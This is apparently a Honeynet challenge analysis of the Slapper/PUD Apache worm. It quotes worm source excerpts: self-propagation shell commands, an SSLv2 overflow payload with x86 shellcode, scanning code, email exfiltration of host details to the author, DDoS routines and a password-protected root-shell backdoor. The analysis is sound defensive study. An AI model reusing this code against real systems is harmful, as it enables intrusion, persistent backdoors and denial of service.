Scan of the Month Analysis

Tools used

All analysis was done using a computer running the Linux operating system. The following standard utilities were used:

Sources of information

Steps taken

First, I downloaded the .unlock file. I renamed it to _unlock, because files starting with a period are normally hidden in UNIX. Working with hidden files can be irksome. Next, I verified the MD5 checksum given on the web page to ensure that I had an exact copy of the file. I cut and pasted the checksum into the md5sum --check command.

$ md5sum --check
<paste>a03b5be9264651ab30f2223592befb42  _unlock</paste>
_unlock: OK

Verifying the SHA1 hash was somewhat inconvenient, since I don't have a tool that does so automatically. I pasted the checksum value into a file and compared it with the output of openssl sha1.

$ echo "SHA1(_unlock)= 4b018cdfdbcf71ddaa789e8ecc9ed7700660021a" >sha1
$ openssl sha1 _unlock | diff - sha1

No output means no differences. Good, the checksums match.

My next step was to use the file utility to determine what was in the file.

$ file _unlock
_unlock: gzip compressed data, deflated, last modified: Fri Sep 20 03:59:04 2002, os: Unix

I then used gunzip to uncompress the file, and file once again to see what the results were. This answers question 1.

$ gunzip -c _unlock >_unlock.unzip
$ file _unlock.unzip
_unlock.unzip: GNU tar archive

Finally, I used tar to display and then extract the contents of the archive.

$ tar tvf _unlock.unzip
-rw-r--r-- root/wheel    70981 2002-09-20 06:28:11 .unlock.c
-rw-r--r-- root/wheel     2792 2002-09-19 14:57:48 .update.c
$ tar xvf _unlock.unzip
.unlock.c
.update.c
$ mv .unlock.c _unlock.c
$ mv .update.c _update.c

The timestamp for .unlock.c answers part of question 2. The apparent authors of the worm identified themselves in a comment in the beginning of that file (line numbers are given on the left).

   1 /****************************************************************************
   2  *                                                                          *
   3  *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *
   4  *                         by contem@efnet                                  *
...
  38  *  some modification done by aion (aion@ukr.net)                           *
  39  ****************************************************************************/

Line 71 contains a define macro that completes the answer to question 2. It seems to be the date of creation of the worm.

  71 #define VERSION         20092002

Line 1805 overwrites the program's first argument (the name of the executable) with the string "httpd ". This is the process name that is displayed in ps listings. This answers question 3.

  78 #define PSNAME          "httpd "
...
1805         strcpy(argv[0],PSNAME);

Once the worm manages to open a root shell on the target machine, it executes the following code to copy itself to the new machine.

1416   writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
1417   zhdr(1);
1418   encode(sockfd);
1419   zhdr(0);
1420   writem(sockfd,"__eof__\n");
1421   writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
1422                 "tar xzf /tmp/.unlock -C /tmp/;              "
1423                 "gcc -o /tmp/httpd  /tmp/.unlock.c -lcrypto; "
1424                 "gcc -o /tmp/update /tmp/.update.c;\n");
1425   sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
1426   writem(sockfd,rcv); sleep(3);
1427   writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
1428                 "       /tmp/httpd /tmp/update; exit; \n");
...
  79 #define WORMSRC         "/tmp/.unlock"
  80 #define UUHEAD          "begin 655 .unlock\n"
...
1194 int encode(int a) {
1195         register int ch, n;
1196         register char *p;
1197         char buf[80];
1198         FILE *in;
1199         if ((in=fopen(WORMSRC,"r")) == NULL) return 0;
1200         writem(a,UUHEAD);
1201         while ((n = fread(buf, 1, 45, in))) {
...
1234         writem(a,"end\n");
1235         if (in) fclose(in);
1236         return 1;
1237 }
...
  84 int zhdr(int flag)
  85 {
  86   int fd;  char *gzh="\x1f\x8b\x08";
  87            char *kgz="\x00\x00\x00";
  88   if((fd=open(WORMSRC,O_WRONLY))==-1) return -1;
  89   if(flag) write(fd,gzh,3);
  90     else write(fd,kgz,3);
  91   close(fd);
  92 }

The encode() function encodes the file /tmp/.unlock using the uuencode format. Note that zhdr(0) overwrites the first few bytes of that file with nulls, and zhdr(1) restores them. The output is saved in /tmp/.unlock.uu on the target machine and processed by uudecode to produce a copy of /tmp/.unlock from the original infected machine. The worm source code files are extracted from the archive and compiled, the worm's daemon processes are started, and finally most of the files are deleted. This answers question 4.

The worm's scanning code is shown below. It picks a random class-B-sized net block with its first octet in the classes[] list, then tries to connect to each IP address in the block on port 80. This is the answer to question 5.

  67 #define SCANPORT        80
...
 291 unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
 292         46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
 293         139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
 294         168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
 295         198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
 296         230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
...
1908                 if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
1909                         char srv[256];
1910                         if (d == 255) {
1911                                 if (c == 255) {
1912                                         a=classes[rand()%(sizeof classes)];
1913                                         b=rand();
1914                                         c=0;
1915                                 }
1916                                 else c++;
1917                                 d=0;
1918                         }
1919                         else d++;
1920                         memset(srv,0,256);
1921                         sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
1922                         clients[n].ext=time(NULL);
1923                         atcp_sync_connect(&clients[n],srv,SCANPORT);
1924                         p++;
1925                 }

The worm's exploit code needs to know the address of a certain function in the web server, so it tries to identify the specific server software being used. GetAddress() connects to the web server, requests a page, and looks for a Server header in the response.

1143 char *GetAddress(char *ip) {
...
1154         write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
...
1163                         for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
1164                                 char *start=buf+d+strlen("Server: ");
1165                                 for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
1166                                 cleanup(start);
1167                                 return strdup(start);
1168                         }

Using the information in the Server header, the worm consults a table of known Apache web server builds. This is part of the answer to question 6.

1707         if ((a=GetAddress(ip)) == NULL) exit(0);
1708         if (strncmp(a,"Apache",6)) exit(0);
1709         for (i=0;i<MAX_ARCH;i++) {
1710                 if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
1711                         arch=i;
1712                         break;
1713                 }
1714         }
...
1241 struct archs {
1242         char *os;
1243         char *apache;
1244         int func_addr;
1245 } architectures[] = {
1246         {"Gentoo", "", 0x08086c34},
1247         {"Debian", "1.3.26", 0x080863cc},
1248         {"Red-Hat", "1.3.6", 0x080707ec},
...
1257         {"SuSE", "1.3.12", 0x0809f54c},
...
1266         {"Mandrake", "1.3.23", 0x08086580},
1267         {"Slackware", "1.3.26", 0x083d37fc},
1268         {"Slackware", "1.3.26",0x080b2100}
1269 };

Next, the worm opens two SSL connections to the target machine. I used Google to locate the SSL specification so that I could follow the protocol exchanges. I found that the worm sends a Client-Hello message requesting an SSL version 2 connection. The protocol version is indicated in bold below.

1547 void send_client_hello(ssl_conn *ssl) {
1548         int i;
1549         unsigned char buf[BUFSIZE] =
1550                 "\x01"
1551                 "\x00\x02"
1552                 "\x00\x18"
1553                 "\x00\x00"
1554                 "\x00\x10"
1555                 "\x07\x00\xc0\x05\x00\x80\x03\x00"
1556                 "\x80\x01\x00\x80\x08\x00\x80\x06"
1557                 "\x00\x40\x04\x00\x80\x02\x00\x80"
1558                 "";
1559         for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24);
1560         memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
1561         send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
1562 }

The function send_client_master_key() copies a suspicious value into the key argument which is sent to the server.

1729         send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
...
1278 unsigned char overwrite_session_id_length[] =
1279         "AAAA"
1280         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
1281         "\x70\x00\x00\x00";
...
1603 void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
...
1624                 memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
1625                 key_arg_length = 8 + key_arg_overwrite_len;

After seeing this, I went to the SecurityFocus Vulnerability Archive to see if I could locate the specific vulnerability being exploited. I discovered that there is a buffer overflow in the handling of the client key in SSL version 2 which effects Apache web servers (BugTraq ID 5363). The OpenSSL patch for this bug adds a check to make sure that the key argument is not larger than the 8-character buffer into which it is copied. This appears to be the vulnerability exploited by the worm.

The second SSL connection is used to send a longer overwriting value into the same vulnerable buffer. This one includes some data that appears to be shellcode -- note the NOP slide and the strings "/bin" and "//sh".

1746         send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
...
1283 unsigned char overwrite_next_chunk[] =
1284         "AAAA"
1285         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
...
1311         "\xeb\x0a\x90\x90"
1312         "\x90\x90\x90\x90"
1313         "\x90\x90\x90\x90"
...
1357         "\x31\xc0"
1358         "\x50"
1359         "\x68""//sh"
1360         "\x68""/bin"
1361         "\x89\xe3"
1362         "\x50"
1363         "\x53"
1364         "\x89\xe1"
1365         "\x99"
1366         "\xb0\x0b"
1367         "\xcd\x80";

I wanted to verify that this is in fact shellcode for an Intel x86 processor. To do that, I extracted the entire string overwrite_next_chunk[] into the file shellcode.c and added code to output the string. Then I ran the resulting file through the ndisasm disassembler.

$ gcc shellcode.c
$ ./a.out >shellcode
$ ndisasm -b32 shellcode >shellcode.txt

The result is in fact x86 shellcode, providing the last detail needed for the answer to question 6. I consulted the Linux kernel source code file arch/i386/kernel/entry.S to translate the system call numbers, and added a few comments. The result is in shellcode.txt.

When the worm starts up on an infected host, it opens a connection to the SMTP port on freemail.ukr.net and sends e-mail to aion@ukr.net. Below is the function that does this.

1802         mailme(argv[1]); zhdr(0);
...
  76 #define MAILSRV         "freemail.ukr.net"
  77 #define MAILTO          "aion@ukr.net"
...
  94 int mailme(char *sip)
  95 {
  96   char cmdbuf[256], buffer[128];
  97   int pip; long inet;
  98   struct sockaddr_in sck;
  99   struct hostent *hp;
 100
 101   if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
 102   if((inet=inet_addr(MAILSRV))==-1)
 103   {
 104     if(hp=gethostbyname(MAILSRV))
 105         memcpy (&inet, hp->h_addr, 4);
 106       else return -1;
 107   }
 108   sck.sin_family = PF_INET;
 109   sck.sin_port = htons (25);
 110   sck.sin_addr.s_addr = inet;
 111   if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;
 112
 113   gethostname(buffer,128);
 114   sprintf(cmdbuf,"helo test\r\n");                     writem(pip, cmdbuf);
 115   recv(pip,cmdbuf,sizeof(cmdbuf),0);
 116   sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
 117   recv(pip,cmdbuf,sizeof(cmdbuf),0);
 118   sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);
 119   recv(pip,cmdbuf,sizeof(cmdbuf),0);
 120   sprintf(cmdbuf,"data\r\n");                          writem(pip, cmdbuf);
 121   recv(pip,cmdbuf,sizeof(cmdbuf),0);
 122   sprintf(cmdbuf," hostid:   %d \r\n"
 123                  " hostname: %s \r\n"
 124                  " att_from: %s \r\n",gethostid(),buffer,sip);
 125                                                        writem(pip, cmdbuf);
 126   recv(pip,cmdbuf,sizeof(cmdbuf),0);
 127   sprintf(cmdbuf,"\r\n.\r\nquit\r\n");                 writem(pip, cmdbuf);
 128   recv(pip,cmdbuf,sizeof(cmdbuf),0);
 129   return close(pip);
 130 }

The mail contains information from gethostid(), gethostname(), and the first argument (argv[1]) given on the command line when the worm is started. That answers question 7, except for one thing: where does argv[1] come from? The following code is executed on the infecting host in order to produce the commands that start the worm.

1409   conv(localip,256,myip); memset(rcv,0,1024);
...
1425   sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
1426   writem(sockfd,rcv); sleep(3);
...
 789 void conv(char *str,int len,unsigned long server) {
 790         memset(str,0,len);
 791         strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server));
 792 }

So the argv[1] value sent in the e-mail is the myip value from the host that infected the new machine. As you might expect, myip contains the IP address of the host. However, the process by which it is set is somewhat convoluted. When the worm starts up, it sends a message with tag 0x70 to each address given on the command line.

1786         initrec.h.tag=0x70;
1787         initrec.h.len=0;
1788         initrec.h.id=0;
...
1794         for (bases=1;bases<argc;bases++) {
1795                 cpbases[bases-1]=aresolve(argv[bases]);
1796                 relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec));
1797         }

Upon receiving this message, the original host sends a reply (tag 0x73) containing the IP address the message came from.

2410         case 0x70: { // Incomming client
...
2420                 rp.h.tag=0x73;
2421                 rp.h.id=0;
2422                 rp.ip=udpclient.in.sin_addr.s_addr;
2423                 relayclient(&udpclient,(void*)&rp,sizeof(struct myip_rec));

When the new host receives this reply, it uses it to set myip.

2460         case 0x73: { // Get my IP
2461                 struct myip_rec *rp=(struct myip_rec *)buf;
2462                 if (udpserver.len < sizeof(struct myip_rec)) break;
2463                 if (!myip && isreal(rp->ip)) {
2464                         myip=rp->ip;
2465                         addserver(rp->ip);
2466                 }
2467                 } break;

The purpose of this extra indirection may be to deal with servers that have IP addresses that are modified by NAT. The server itself doesn't know what its NATted address is, so it has to ask some other machine that sees the modified address.

The worm listens for peer-to-peer messages on UDP port 4156. This answers question 8.

1781         if (audp_listen(&udpserver,PORT) != 0) {
...
  66 #define PORT            4156
...
 589 int audp_listen(struct ainst *inst,unsigned int port) {
 590         int flag=1;
 591         if (inst == NULL) return (AINSTANCE);
 592         inst->len=0;
 593         if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
 594                 inst->error=ASOCKET;
 595                 return (ASOCKET);
 596         }
 597         inst->in.sin_family = AF_INET;
 598         inst->in.sin_addr.s_addr = INADDR_ANY;
 599         inst->in.sin_port = htons(port);
 600         if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
...

There are a number of distributed denial-of-service attacks built into the worm. A command packet can touch off one of the following:

2205         case 0x29: { // Udp flood
2246         case 0x2A: { // Tcp flood
2279         case 0x2B: { // IPv6 Tcp flood
2308         case 0x2C: { // Dns flood

This answers question 9.

The .update.c program is a simple back door. It binds to TCP port 1052.

   4 #define PORT      1052
...
  39     if( (soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) exit(-1);
  40     bzero((char *) &serv_addr, sizeof(serv_addr));
  41     serv_addr.sin_family = AF_INET;
  42     serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  43     serv_addr.sin_port = htons(PORT);
  44     if( (soc_rc = bind(soc_des,
  45         (struct sockaddr *) &serv_addr, sizeof(serv_addr))) != 0) exit(-1);

Next, the update program listens for connections. When a connection is made, the program reads in a password. If the password matches the one compiled into the program, it starts a root shell. This answers question 10.

   5 #define PASS      "aion1981"
...
  54           soc_cli = accept(soc_des,
  55                       (struct sockaddr *) &client_addr, sizeof(client_addr));
  56           if (soc_cli > 0)
  57           {
  58             if (!fork()) {
  59                 dup2(soc_cli,0);
  60                 dup2(soc_cli,1);
  61                 dup2(soc_cli,2);
  62                 read(soc_cli,temp_buff,10);
  63                 if( !strncmp(temp_buff,PASS,strlen(PASS)) )
  64                   execl("/bin/sh","sh -i",(char *)0);
  65                 closeall();
  66                 exit(0);
  67             } else wait(&retval);
  68           }

The port is not kept open all the time. After opening it, the program listens for UPTIME seconds. Then it closes the port and sleeps for SLEEPTIME seconds. This is apparently an attempt to make it less likely that the operator of the infected system will notice the back door in the list of open ports produced by netstat. This is the answer to the bonus question.

  52         for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);)
  53         {
...
  70         }
  71
  72         closeall();
  73         sleep(SLEEPTIME);